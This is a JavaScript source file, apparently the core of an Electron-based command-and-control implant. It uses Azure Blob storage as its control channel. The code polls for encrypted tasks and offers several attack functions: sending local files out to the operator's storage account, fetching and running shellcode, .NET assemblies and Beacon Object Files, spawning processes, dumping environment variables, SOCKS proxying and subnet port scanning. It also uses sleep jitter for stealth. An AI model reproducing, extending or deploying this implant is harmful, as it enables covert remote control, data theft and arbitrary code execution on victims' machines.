let link_port = argv[2];
let output = "";
output = `Linking to ${link_host}:${link_port}\r\n`;
debug(output);
global.TCPLinkAgent = new TCPAgent({
hostname: link_host,
port: link_port,
password: global.P2P_CHALLENGE,
onMessage: async (message) => {
// Handle incoming messages
debug(`Received message: ${message}`);
},
onConnect: () => {
debug(`Connected to server`);
},
onDisconnect: () => {
debug(`Disconnected from server`);
},
onError: (error) => {
debug(`Connection error: ${error}`);
}
});
global.TCPLinkAgent.connect();
return output;
}
// link localhost 3000 secret123
function unlinkHandler(argv) {
let link_host = argv[1];
let output = "";
if (link_host === global.TCPLinkAgent.hostname) {
output = `Unlinking from ${link_host}`;
debug(output);
global.TCPLinkAgent.disconnect();
} else {
output = `Not linked to ${link_host}`;
debug(output);
}
return output;
}
async function ls(dirPath) {
try {
if (!path.isAbsolute(dirPath)) {
dirPath = path.resolve(global.agent.cwd, dirPath);
}
const filesAndFolders = await fsp.readdir(dirPath, { withFileTypes: true });
for (const entry of filesAndFolders) {
const fullPath = path.join(dirPath, entry.name);
const stats = await fsp.stat(fullPath);
entry.stats = stats;
entry.type = entry.isDirectory() ? 'Directory' : 'File';
}
return JSON.stringify(filesAndFolders);
} catch (error) {
debug('Error reading directory:', error);
return 'Error reading directory.';
}
}
function dnsHandler(command) {
return new Promise((resolve) => {
let data = '';
try {
const parts = command.split(' ');
if (parts.length < 2) {
data += 'Invalid command\r\n';
return resolve(data);
}
if (parts[1].startsWith('@')) {
const server = parts[1].substring(1);
if (server.toLowerCase() === "default") {
customDnsServer = null;
dns.setServers(dns.getServers());
data += "Reset to system default DNS servers\r\n";
} else {
customDnsServer = server;
dns.setServers([server]);
data += `Using custom DNS server: ${server}\r\n`;
}
return resolve(data);
}
const resolver = customDnsServer ? new dns.Resolver() : dns;
if (customDnsServer) resolver.setServers([customDnsServer]);
switch (parts[1]) {
case 'lookup':
if (parts[2]) {
if (parts.includes('-all')) {
let hostname = parts[2];
let pendingLookups = 7; // Total lookups being performed
// check when all lookups are done
const finalize = () => {
pendingLookups--;
if (pendingLookups === 0) {
resolve(data);
}
};
// Resolve IP Address
resolver.lookup(hostname, (err, address, family) => {
data += err ? `Error resolving IP: ${err.message}\r\n`
: `Resolved IP: ${address}, Family: IPv${family}\r\n`;
finalize();
});
// Resolve A (IPv4) & AAAA (IPv6)
resolver.resolve4(hostname, (err, addresses) => {
data += err ? `Error resolving A record: ${err.message}\r\n`
: `A (IPv4) Records: ${addresses.join(', ')}\r\n`;
finalize();
});
// Resolve MX Records
resolver.resolveMx(hostname, (err, addresses) => {
data += err ? `Error resolving MX records: ${err.message}\r\n`
: `MX Records: ${JSON.stringify(addresses, null, 2)}\r\n`;
finalize();
});
// Resolve TXT Records
resolver.resolveTxt(hostname, (err, records) => {
data += err ? `Error resolving TXT records: ${err.message}\r\n`
: `TXT Records: ${JSON.stringify(records, null, 2)}\r\n`;
finalize();
});
// Resolve CNAME Records
resolver.resolveCname(hostname, (err, records) => {
data += err ? `Error resolving CNAME records: ${err.message}\r\n`
: `CNAME Records: ${records.join(', ')}\r\n`;
finalize();
});
// Resolve NS Records
resolver.resolveNs(hostname, (err, records) => {
data += err ? `Error resolving NS records: ${err.message}\r\n`
: `NS Records: ${records.join(', ')}\r\n`;
finalize();
});
} else {
resolver.lookup(parts[2], (err, address, family) => {
data += err ? `Error: ${err.message}\r\n`
: `IP Address: ${address}, Family: IPv${family}\r\n`;
resolve(data);
});
}
} else {
data += 'Usage: dns lookup <hostname> [-all | -mx | -txt | -cname]\r\n';
resolve(data);
}
break;
case 'resolve':
if (parts[2]) {
resolver.resolve(parts[2], (err, addresses) => {
data += err ? `Error: ${err.message}\r\n`
: `IP Addresses: ${addresses.join(', ')}\r\n`;
resolve(data);
});
} else {
data += 'Usage: dns resolve <hostname>\r\n';
resolve(data);
}
break;
case 'reverse':
if (parts[2]) {
resolver.reverse(parts[2], (err, hostnames) => {
data += err ? `Error: ${err.message}\r\n`
: `Hostnames: ${hostnames.join(', ')}\r\n`;
resolve(data);
});
} else {
data += 'Usage: dns reverse <ip-address>\r\n';
resolve(data);
}
break;
case 'config':
try {
data += `Current DNS Servers: ${dns.getServers().join(', ')}\r\n`;
} catch (error) {
data += `Error retrieving DNS config: ${error.message}\r\n`;
}
resolve(data);
break;
default:
data += 'Unknown command\r\n';
resolve(data);
}
} catch (error) {
data += `Unexpected error: ${error.message}\r\n${error.stack}\r\n`;
resolve(data);
}
});
}
async function func_File_Read_ToBuffer(filePath) {
try {
const fileBuffer = await fsp.readFile(filePath);
return fileBuffer;
} catch (error) {
debug(`Error reading file: ${error}`);
return "";
}
}
async function func_Azure_Upload_File(srcpath, uploadblob)
{
try {
debug(`browser.js | func_Azure_Upload_File() hit`);
let bufferfile = await func_File_Read_ToBuffer(srcpath);
let enc = await func_Encrypt(bufferfile, global.agent.container.key['key'], global.agent.container.key['iv']);
const response = await func_Web_Request(
{
hostname: global.agent.storageAccount,
port: 443,
path: `/${global.agent.container.name}/${uploadblob}?${global.agent.sasToken}`,
method: 'PUT',
headers: {
'x-ms-blob-type': 'BlockBlob',
'Content-Type': 'application/octet-stream'
}
}, enc, true);
if (response.status != 201) {
output = `Couldnt upload file, response: ${response.status}`;
debug(output);
} else {
output = `Successfully uploaded file ${srcpath} to https://${global.agent.storageAccount}/${global.agent.container.name}/${uploadblob} blob`;
debug(output);
}
} catch (error) {
output = `Error uploading file ${srcpath} to azure : ${error.stack}`;
debug(output);
}
}
async function func_Azure_File_Download(downloadblob, dstpath)
{
let output = "";
try {
const options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${global.agent.container.name}/${downloadblob}?${global.agent.sasToken}`,
method: 'GET'
}
const downloadResponse = await func_Web_Request(options, null, true);
debug(`response status: ${downloadResponse.status}`);
if (downloadResponse.status !== 200) {
output = `Couldn't download file, response: ${downloadResponse.status}`;
debug(output);
return output;
} else {
const raw = await func_Decrypt(Buffer.from(downloadResponse.data), global.agent.container.key['key'], global.agent.container.key['iv']);
await fsp.writeFile(dstpath, raw);
output = `File ${dstpath} has been saved`;
debug(output);
return output;
}
} catch (error) {
output = `func_Azure_File_Download: Error downloading file: ${error.message} ${error.stack}`;
debug(output);
return output;
}
}
async function func_spawn_socks_proxy(url)
{
debug(`main.js | func_spawn_socks_proxy`);
let output = "";
try {
let socksWindow = await createWindow();
await new Promise((resolve) => {
if (socksWindow.webContents) {
socksWindow.webContents.on('did-finish-load', resolve);
} else {
resolve();
}
});
const responsePromise = new Promise((resolve) => {
ipcMain.once('socks-complete', (event, result) => {
resolve(result);
});
});
socksWindow.webContents.send('socks-proxy', url);
output = await responsePromise;
return output;
} catch (error) {
debug(`func_spawn_socks_proxy: Error : ${error.message}`);
throw error;
}
}
async function func_Azure_Download_Exec(scexecblob)
{
debug(`[MAIN][SCEXEC]`);
let output = "";
try {
const response = await func_Web_Request({
hostname: global.agent.storageAccount,
port: 443,
path: `/${global.agent.container.name}/${scexecblob}?${global.agent.sasToken}`,
method: 'GET'
},
null,
true
);
if (response.status !== 200) {
output = `Couldn't download file, response: ${response.status}`;
debug(output);
return output;
} else {
debug(`response status: ${response.status}`);
const raw = await func_Decrypt(Buffer.from(response.data), global.agent.container.key['key'], global.agent.container.key['iv']);
debug(`[MAIN][SCEXEC]DECRYPT`);
let execWindow = await createWindow();
await new Promise(resolve => {
if (execWindow && execWindow.webContents) {
execWindow.webContents.on('did-finish-load', resolve);
} else {
resolve(); // Resolve immediately if window not available
}
});
debug(`[MAIN][SCEXEC]CREATE WINDOW`);
const responsePromise = new Promise(resolve => {
ipcMain.once('scexec-complete', (event, result) => {
debug(`[MAIN][SCEXEC]SCEXEC-COMPLETE`);
resolve(result);
});
});
execWindow.webContents.send('execute-scexec-node', global.scexecNodePath, raw);
const result = await responsePromise;
debug(`func_Azure_File_Download_Exec result: ${result}`);
}
} catch (error) {
output = `func_Azure_Download_Exec: Error downloading executable: ${error.message} ${error.stack}`;
debug(output);
return output;
}
}
async function func_Azure_Assembly_Download_Exec(scexecblob, args) {
debug(`assembly.js | func_Azure_Assembly_Download_Exec`);
let output = "";
try {
const response = await func_Web_Request({
hostname: global.agent.storageAccount,
port: 443,
path: `/${global.agent.container.name}/${scexecblob}?${global.agent.sasToken}`,
method: 'GET'
},
null,
true
);
if (response.status !== 200) {
output = `Couldn't download file, response: ${response.status}`;
debug(output);
return output;
} else {
debug(`response status: ${response.status}`);
const raw = await func_Decrypt(Buffer.from(response.data), global.agent.container.key['key'], global.agent.container.key['iv']);
// Create execution window and wait for it to load
let execWindow = await createWindow();
await new Promise(resolve => {
if (execWindow && execWindow.webContents) {
execWindow.webContents.on('did-finish-load', resolve);
} else {
resolve(); // Resolve immediately if window not available
}
});
// Set up response handler
const responsePromise = new Promise(resolve => {
ipcMain.once('assembly-complete', (event, result) => {
resolve(result);
});
});
const argv = await func_Split_Quoted_String(args);
execWindow.webContents.send('execute-assembly-node', global.assemblyNodePath, raw, argv);
const result = await responsePromise;
debug(`[+] main.js | func_Azure_Assembly_Download_Exec | result:\r\n ${result}`);
execWindow.close();
return result;
}
} catch (error) {
output = `func_Azure_Assembly_Download_Exec:Error downloading assembly: ${error.message} ${error.stack}`;
debug(output);
return output;
}
}
async function func_Azure_BOF_Download_Exec(task, argv)
{
debug(`[MAIN][BOF] taskid: ${task.taskid}`);
let output = "";
try {
const response = await func_Web_Request({
hostname: global.agent.storageAccount,
port: 443,
path: `/${global.agent.container.name}/${task.uploadChannel}?${global.agent.sasToken}`,
method: 'GET'
},
null,
true
);
if (response.status !== 200) {
output = `Couldn't download file, response: ${response.status}`;
debug(output);
return output;
} else {
debug(`response status: ${response.status}`);
const bof_data = await func_Decrypt(Buffer.from(response.data), global.agent.container.key['key'], global.agent.container.key['iv']);
// Create execution window and wait for it to load
let execWindow = await createWindow();
await new Promise(resolve => {
if (execWindow && execWindow.webContents) {
execWindow.webContents.on('did-finish-load', resolve);
} else {
resolve(); // Resolve immediately if window not available
}
});
// Set up response handler
const responsePromise = new Promise(resolve => {
ipcMain.once('bof-complete', (event, result) => {
resolve(result);
});
});
debug(`[MAIN][BOF] ARGV: ${argv}`);
let functionName = argv[2];
let formatString = argv[3];
const formatArgs = argv.slice(4);
if (functionName === undefined) {
functionName = "go";
}
if (formatString === undefined) {
formatString = "";
}
execWindow.webContents.send('execute-bof-node', global.path_coffloader, bof_data, functionName, formatString, formatArgs);
const result = await responsePromise;
// Convert Uint8Array result to ASCII string
const asciiResult = Buffer.from(result.output).toString('ascii');
debug(`[+] main.js | func_Azure_BOF_Download_Exec | result:\r\n ${asciiResult}`);
execWindow.close();
return asciiResult;
}
} catch (error) {
output = `[BOF] Error downloading bof: ${error.message} ${error.stack}`;
debug(output);
return output;
}
}
async function func_cd(newPath) {
try {
let targetPath;
let currentPath = global.agent.cwd;
if (newPath == undefined) { newPath = os.homedir(); }
if (path.isAbsolute(newPath)) {
targetPath = newPath;
} else {
if (newPath.startsWith('./') || newPath.startsWith('.\\')) {
newPath = newPath.substring(2);
}
while (newPath.startsWith('../') || newPath.startsWith('..\\')) {
currentPath = path.dirname(currentPath);
newPath = newPath.substring(3);
}
targetPath = path.join(currentPath, newPath);
}
targetPath = path.normalize(targetPath);
try {
const stats = await fsp.stat(targetPath);
if (!stats.isDirectory()) {
return `[!] Error: ${targetPath} is not a directory`;
}
} catch (error) {
return `[!] Error: Directory ${targetPath} does not exist`;
}
global.agent.cwd = targetPath;
return `Changed directory to ${global.agent.cwd}`;
} catch (error) {
debug(`[!] Error in func_cd: ${error.message}${error.stack}`);
return `[!] Error changing directory: ${error.message}`;
}
}
// Function to simulate doing some work with the blob content
async function func_Command_Handler(task, argv)
{
try
{
if ( task.command != "")
{
const cmd = task.command;
if (!argv) {
argv = await func_Split_Quoted_String(task.command);
}
if (argv[0] != "")
{
let data;
const arg1 = argv.length > 0 ? argv[1] : '';
const args = Array.isArray(argv) ? argv.slice(2) : [];
if (argv[0] === 'sleep') {
if (!global.agent.sleepinterval) {
global.agent.sleepinterval = 5;
}
if (global.agent.sleepinterval) {
global.agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, 900);
global.agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, 300);
data = `Sleeping for ${global.agent.sleepinterval}s with ${global.agent.sleepjitter}% jitter.`;
} else {
data = `[!] Error : global.agent.sleepinterval doesn't exist.`;
}
} else if (argv[0] === 'download') {
let srcpath = argv[1];
let pushblob = argv[2];
await func_Azure_Upload_File(srcpath, pushblob);
data = "Download completed";
} else if (argv[0] === 'upload') {
let pullblob = argv[1];
let dstpath = argv[2];
await func_Azure_File_Download(pullblob, dstpath);
data = "Upload completed";
} else if (argv[0] === 'load') {
const path = argv[1];
if (!path) {
data = '[!] Error: No path provided for load command';
} else {
global.mainWindow.webContents.send('load', path);
data = "Load command sent";
}
} else if (argv[0] === 'scexec') {
let encscblob = argv[1];
data = await func_Azure_Download_Exec(encscblob);
} else if (argv[0] === 'assembly') {
let encscblob = argv[1];
let args = cmd.slice(22);
data = await func_Azure_Assembly_Download_Exec(encscblob, args);
} else if (argv[0] === 'bof') {
debug(`[MAIN][DOTASK] argv : ${JSON.stringify(argv)}`);
data = await func_Azure_BOF_Download_Exec(task, argv);
} else if (argv[0] === 'socks') {
let url = argv[1];
data = await func_spawn_socks_proxy(url);
} else if (argv[0] == 'spawn') {
debug(`[MAIN][COMMAND] command: ${arg1}`);
debug(`[MAIN][COMMAND] args : ${args}`);
data = await func_Spawn_Child(arg1, args);
data = data.stdout;
debug(`[MAIN][COMMAND] Command Output: ${data}`);
} else if (argv[0] == 'scan') {
const host = argv[1];
const portsArg = argv.find(arg => arg.startsWith('-p'));
const ports = portsArg ? portsArg.substring(2).split(',').map(Number) : [80, 443]; // Default ports if not specified
const isCIDR = host.includes('/');
if (isCIDR) {
const [base, mask] = host.split('/');
const baseIP = base.split('.').map(Number);
const range = 1 << (32 - Number(mask));
const openPorts = [];
for (let i = 0; i < range; i++) {
const ip = baseIP.slice();
ip[3] += i;
const ipStr = ip.join('.');
const result = await func_Scan_Ports(ipStr, ports);
openPorts.push(`${ipStr}: ${result.join(', ')}`);
}
data = openPorts.join('\n');
} else {
const result = await func_Scan_Ports(host, ports);
data = `${host}: ${result.join(', ')}`;
}
} else if (argv[0] == 'dns') {
data = await dnsHandler(cmd);
} else if (argv[0] == 'link') {
data = linkHandler(argv);
} else if (argv[0] == 'unlink') {
data = unlinkHandler(argv);
} else if (argv[0] == 'set') {
if (argv[1] == 'scexec_path') {
global.scexecNodePath = argv[2];
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}`;
debug(data);
} else if (argv[1] == 'assembly_path') {
global.assemblyNodePath = argv[2];
data = `Assembly Node Load Path Set to : ${global.assemblyNodePath}`;
debug(data);
} else if (argv[1] == 'bof_path') {
global.path_coffloader = argv[2];
data = `BOF Node Load Path Set to : ${global.path_coffloader}`;
debug(data);
} else {
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}\r\nAssembly Node Load Path Set to : ${global.assemblyNodePath}`;
debug(data);
}
} else if (argv[0] == 'drives') {
data = await func_Drives_List();
} else if (argv[0] == 'ls') {
let path;
if (typeof argv[1] === 'undefined') {
path = ".";
} else {
path = argv[1];
}
data = await ls(path);
} else if (argv[0] == 'env') {
let env = process.env;
data = JSON.stringify(env, null, 2);
} else if (argv[0] == 'cat') {
file = argv[1];
data = await func_File_Read(file);
} else if (argv[0] == 'pwd') {
data = global.agent.cwd;
} else if (argv[0] == 'cd') {
data = await func_cd(argv[1]);
} else if (argv[0] == 'exit') {
app.quit();
process.exit(0);
} else if (argv[0] == 'mv') {
src = argv[1];
dest = argv[2];
data = await func_File_Move(src,dest);
} else if (argv[0] == 'cp') {
src = argv[1];
dest = argv[2];
data = await func_File_Copy(src,dest);
}
return data;
}
}
return "";
} catch (error) {
debug(`[MAIN][COMMAND] Error: ${error} ${error.stack}`);
return `Error: ${error.message}${error.stack}`;
}
}
// Add this near the top with other IPC handlers
ipcMain.on('load-complete', (event, result) => {
debug(`[LOAD] Load operation completed: ${result}`);
});
async function parseTask(encryptedTask) {
try {
const decodedTask = await func_Base64_Decode(encryptedTask);
if (!decodedTask) {
debug('[PARSE] Failed to decode base64 task');
return null;
}
const decryptedTask = await func_Decrypt(decodedTask, global.agent.container.key['key'], global.agent.container.key['iv']);
if (!decryptedTask) {
debug('[PARSE] Failed to decrypt task');
return null;
}
debug(`[PARSE] Decrypted task: ${decryptedTask}`);
const taskObj = JSON.parse(decryptedTask);
const task = new Task(
taskObj.outputChannel,
taskObj.command,
taskObj.uploadChannel,
taskObj.taskid
);
debug(`[PARSE] Parsed task: ${JSON.stringify(task)}`);
return task;
} catch (error) {
debug(`[PARSE] Error parsing task: ${error}`);
return null;
}
}
async function DoTask(task) {
try {
let command_output = "";
const argv = await func_Split_Quoted_String(task.command);
if (!argv || argv.length === 0) {
return;
}
command_output = await func_Command_Handler(task, argv);
if (command_output) {
command_output = await func_Encrypt(command_output, global.agent.container.key['key'], global.agent.container.key['iv']);
command_output = await func_Base64_Encode(command_output);
await send_output(global.agent.container.name, task.outputChannel, command_output);
}
} catch (error) {
debug(`${error} ${error.stack}`);
}
}
async function init() {
try {
let response = null;
let blobs = global.agent.container.blobs;
// Create the metaContainer if it doesn't exist
debug(`[INIT] Creating metaContainer ${global.agent.metaContainer}`);
response = await func_Container_Create(global.agent.metaContainer);
if (response === false) {
debug(`[INIT][!] Failed to create meta container : ${global.agent.metaContainer}`);
return false;
}
// Create the metacontainer blob for this agent. Used to register the agent to the client dashboard table
debug(`[INIT] Creating metaContainer blob /${global.agent.metaContainer}/${global.agent.agentid}`);
response = await func_Blob_Create(global.agent.metaContainer, global.agent.agentid, global.agent.container.name);
if(response === false) {
debug(`[INIT][!] Failed to create meta container blob : ${global.agent.metaContainer} ${global.agent.agentid}`);
return false;
}
response = await Blob_Set_Metadata(
global.agent.metaContainer,
global.agent.agentid,
{
stat: Date.now(),
signature: await func_Base64_Encode(JSON.stringify(global.agent.container.key.key)),
hash: await func_Base64_Encode(JSON.stringify(global.agent.container.key.iv)),
link: global.agent.agentid
}
);
if(response.status != 200) {
debug(`[INIT][!] Failed to set metadata for meta container blob : ${global.agent.metaContainer} ${global.agent.agentid}`);
return false;
}
// Create agent container
debug(`[INIT] Creating agent container ${global.agent.container.name}`);
response = await func_Container_Create(global.agent.container.name);
if (response === false) {
debug(`[INIT][!] Failed to create agent container : ${global.agent.container.name}`);
return false;
}
// Create input blob
response = await func_Blob_Create(global.agent.container.name, blobs['in']);
if(response === false) {
debug(`[INIT][!] Failed to create container blob ${global.agent.container.name} ${blobs['in']}`);
return false;
}
// Create checkin blob
let selfInfo = await getSystemInfo();
const checkin_encryptedData = await func_Encrypt(JSON.stringify(selfInfo, null, 1), global.agent.container.key.key, global.agent.container.key.iv);
const checkin_b64EncData = await func_Base64_Encode(checkin_encryptedData);
response = await func_Blob_Create(global.agent.container.name, blobs['checkin'], checkin_b64EncData);
if(response === false) {
debug(`[INIT][!] Failed to create container blob ${global.agent.container.name} ${blobs['checkin']}`);
return false;
}
return true;
} catch (error) {
debug(`[INIT][!] ERROR : \r\n${error}\r\n ${error.stack}`);
return false;
}
}
async function reinitializeAgent() {
debug(`[REINIT] Reinitializing agent`);
global.init = false;
let failattempts = 0;
while (true) {
let initResult = await init();
if (initResult === true) {
debug('[REINIT] Initialization successful');
break;
}
else{
failattempts++;
debug(`[REINIT] Initialization failed for ${failattempts} time, retrying in 10 seconds... `);
await new Promise(resolve => setTimeout(resolve, 10000));
}
}
}
async function TaskLoop() {
try{
debug(`[TASKLOOP] Starting task handler`);
while (true) {
if (!global.init) {
let agentidresp = await func_Blob_Read(global.agent.metaContainer, global.agent.agentid);
debug(`[TASKLOOP] func_Blob_Read response : ${JSON.stringify(agentidresp)}`);
if (agentidresp.status === 200) {
if (agentidresp.data == global.agent.container.name) {
debug(`[TASKLOOP] Agents metaContainer global.agent.agentid ${global.agent.agentid} is initialized with value ${agentidresp.data}`);
global.init = true;
}
}
}else{
let response = await Blob_Set_Metadata(
global.agent.metaContainer,
global.agent.agentid,
{
stat: Date.now(),
signature: await func_Base64_Encode(JSON.stringify(global.agent.container.key.key)),
hash: await func_Base64_Encode(JSON.stringify(global.agent.container.key.iv)),
link: global.agent.agentid
}
);
if (global.mode== 'link-tcp' && response === false) {
debug(`[TASKLOOP] ${global.TCPServer.authenticatedClients.size} clients authenticated.\r\n Waiting for client to connect and authenticate...`);
const clientConnected = await global.TCPServer.waitForClient();
if (clientConnected) {
debug('Client connected and authenticated successfully');
debug(`[TASKLOOP] ClientConnected : ${clientConnected}`);
}
}
if (response != false) {
if(response.status != 200) {
await reinitializeAgent();
}
if( await HandleTask() === false)
{
await reinitializeAgent();
}
}
}
if (900 * 1000 > global.agent.thissleep && global.agent.thissleep > 1 * 888) {
global.agent.thissleep = await getrand(global.agent.sleepinterval * 1000, global.agent.sleepjitter);
debug(`[TASKLOOP] Sleeping for ${global.agent.thissleep}`);
await new Promise(resolve => setTimeout(resolve, global.agent.thissleep));
} else {
debug('[TASKLOOP] Sleeping for default 10 seconds');
await new Promise(resolve => setTimeout(resolve, 10000));
}
}
}catch(error){
debug(`${error} ${error.stack}`);
await TaskLoop();
}
}
async function HandleTask() {
try {
let response = await func_Blob_Read(global.agent.container.name ,global.agent.container.blobs['in']);
if (response.status === 200) {
await clearBlob(global.agent.container.name, global.agent.container.blobs['in']);
if (response.data && response.data != null && response.data != undefined && response.data != "") {
let task = await parseTask(response.data);
await DoTask(task);
}
return true;
}else{
return false;
}
} catch (error) {
debug(`[!] ${error} ${error.stack}`);
return false;
}
}